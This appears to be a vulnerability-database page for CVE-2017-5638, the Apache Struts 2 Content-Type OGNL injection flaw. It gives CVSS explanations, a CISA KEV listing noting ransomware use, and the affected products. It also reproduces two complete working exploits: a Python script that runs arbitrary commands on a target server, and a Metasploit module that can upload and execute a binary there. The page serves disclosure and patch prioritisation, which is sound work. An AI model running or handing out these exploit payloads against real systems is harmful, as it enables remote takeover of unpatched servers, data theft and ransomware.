CVE-2017-5638 : Detail

CVE-2017-5638

9.8
/
Critical
96.02%V3
Network
2017-03-11
02h11 +00:00
2025-02-06
21h14 +00:00
CVE.org
NVD
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CVE Descriptions

The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-755 Improper Handling of Exceptional Conditions
The product does not handle or incorrectly handles an exceptional condition.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Apache Struts Remote Code Execution Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41570

Publication date : 2017-03-06 23h00 +00:00
Author : Vex Woo
EDB Verified : Yes

#!/usr/bin/python # -*- coding: utf-8 -*- import urllib2 import httplib def exploit(url, cmd): payload = "%{(#_='multipart/form-data')." payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" try: headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} request = urllib2.Request(url, headers=headers) page = urllib2.urlopen(request).read() except httplib.IncompleteRead, e: page = e.partial print(page) return page if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] struts2_S2-045.py <url> <cmd>") else: print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') url = sys.argv[1] cmd = sys.argv[2] print("[*] cmd: %s\n" % cmd) exploit(url, cmd)
Exploit Database EDB-ID : 41614

Publication date : 2017-03-14 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', 'Description' => %q{ This module exploits a remote code execution vunlerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk. }, 'Author' => [ 'Nike.Zheng', # PoC 'Nixawk', # Metasploit module 'Chorder', # Metasploit module 'egypt', # combining the above 'Jeffrey Martin', # Java fu ], 'References' => [ ['CVE', '2017-5638'], ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] ], 'Privileged' => true, 'Targets' => [ [ 'Universal', { 'Platform' => %w{ unix windows linux }, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], }, ], ], 'DisclosureDate' => 'Mar 07 2017', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), ] ) register_advanced_options( [ OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) ] ) @data_header = "X-#{rand_text_alpha(4)}" end def check var_a = rand_text_alpha_lower(4) ognl = "" ognl << %q|(#[email protected]@getProperty('os.name')).| ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| begin resp = send_struts_request(ognl) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end if resp && resp.code == 200 && resp.headers[var_a] vprint_good("Victim operating system: #{resp.headers[var_a]}") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit case payload.arch.first #when ARCH_JAVA # datastore['LHOST'] = nil # resp = send_payload(payload.encoded_jar) when ARCH_CMD resp = execute_command(payload.encoded) else resp = send_payload(generate_payload_exe) end require'pp' pp resp.headers if resp end def send_struts_request(ognl, extra_header: '') uri = normalize_uri(datastore["TARGETURI"]) content_type = "%{(#_='multipart/form-data')." content_type << "(#[email protected]@DEFAULT_MEMBER_ACCESS)." content_type << "(#_memberAccess?" content_type << "(#_memberAccess=#dm):" content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." content_type << "(#ognlUtil.getExcludedPackageNames().clear())." content_type << "(#ognlUtil.getExcludedClasses().clear())." content_type << "(#context.setMemberAccess(#dm))))." content_type << ognl content_type << "}" headers = { 'Content-Type' => content_type } if extra_header headers[@data_header] = extra_header end #puts content_type.gsub(").", ").\n") #puts resp = send_request_cgi( 'uri' => uri, 'method' => datastore['HTTPMethod'], 'headers' => headers ) if resp && resp.code == 404 fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') end resp end def execute_command(cmd) ognl = '' ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).| # You can add headers to the server's response for debugging with this: #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| #ognl << %q|(#r.addHeader('decoded',#cmd)).| ognl << %q|(#[email protected]@getProperty('os.name')).| ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).| ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).| ognl << %q|(#p.redirectErrorStream(true)).| ognl << %q|(#process=#p.start())| send_struts_request(ognl, extra_header: cmd) end def send_payload(exe) ognl = "" ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).| ognl << %Q|(#[email protected]@createTempFile('#{rand_text_alpha(4)}','.exe')).| #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).| ognl << %q|(#f.setExecutable(true)).| ognl << %q|(#f.deleteOnExit()).| ognl << %q|(#fos=new java.io.FileOutputStream(#f)).| # Using stuff from the sun.* package here means it likely won't work on # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to # work and I don't see a better way of getting binary data onto the # system. =/ ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).| ognl << %q|(#fos.write(#d)).| ognl << %q|(#fos.close()).| ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| ognl << %q|(#p.start()).| ognl << %q|(#f.delete())| send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n")) end end =begin Doesn't work: ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).| ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).| ognl << %q|(#[email protected]@getMethods(#c,'main',true).get(0)).| ognl << %q|(#r.addHeader('meth',#m.toGenericString())).| ognl << %q|(#m.invoke(null,null)).| #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed #ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6 #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed #ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884 =end

Products Mentioned

Configuraton 0

Apache>>Struts >> Version From (including) 2.2.3 To (excluding) 2.3.32

Apache>>Struts >> Version From (including) 2.5.0 To (excluding) 2.5.10.1

Configuraton 0

Ibm>>Storwize_v3500_firmware >> Version 7.7.1.6

Ibm>>Storwize_v3500_firmware >> Version 7.8.1.0

Ibm>>Storwize_v3500 >> Version -

Configuraton 0

Ibm>>Storwize_v5000_firmware >> Version 7.7.1.6

Ibm>>Storwize_v5000_firmware >> Version 7.8.1.0

Ibm>>Storwize_v5000 >> Version -

Configuraton 0

Ibm>>Storwize_v7000_firmware >> Version 7.7.1.6

Ibm>>Storwize_v7000_firmware >> Version 7.8.1.0

Ibm>>Storwize_v7000 >> Version -

Configuraton 0

Lenovo>>Storage_v5030_firmware >> Version 7.7.1.6

    Lenovo>>Storage_v5030_firmware >> Version 7.8.1.0

      Lenovo>>Storage_v5030 >> Version -

        Configuraton 0

        Hp>>Server_automation >> Version 9.1.0

          Hp>>Server_automation >> Version 10.0.0

            Hp>>Server_automation >> Version 10.1.0

              Hp>>Server_automation >> Version 10.2.0

                Hp>>Server_automation >> Version 10.5.0

                  Configuraton 0

                  Oracle>>Weblogic_server >> Version 10.3.6.0.0

                  Oracle>>Weblogic_server >> Version 12.1.3.0.0

                  Oracle>>Weblogic_server >> Version 12.2.1.1.0

                  Oracle>>Weblogic_server >> Version 12.2.1.2.0

                  Configuraton 0

                  Arubanetworks>>Clearpass_policy_manager >> Version To (excluding) 6.6.5

                  Configuraton 0

                  Netapp>>Oncommand_balance >> Version -

                  References

                  https://exploit-db.com/exploits/41570
                  Tags : exploit, x_refsource_EXPLOIT-DB
                  https://www.kb.cert.org/vuls/id/834067
                  Tags : third-party-advisory, x_refsource_CERT-VN
                  https://isc.sans.edu/diary/22169
                  Tags : x_refsource_MISC
                  http://www.securitytracker.com/id/1037973
                  Tags : vdb-entry, x_refsource_SECTRACK
                  http://www.securityfocus.com/bid/96729
                  Tags : vdb-entry, x_refsource_BID
                  https://www.exploit-db.com/exploits/41614/
                  Tags : exploit, x_refsource_EXPLOIT-DB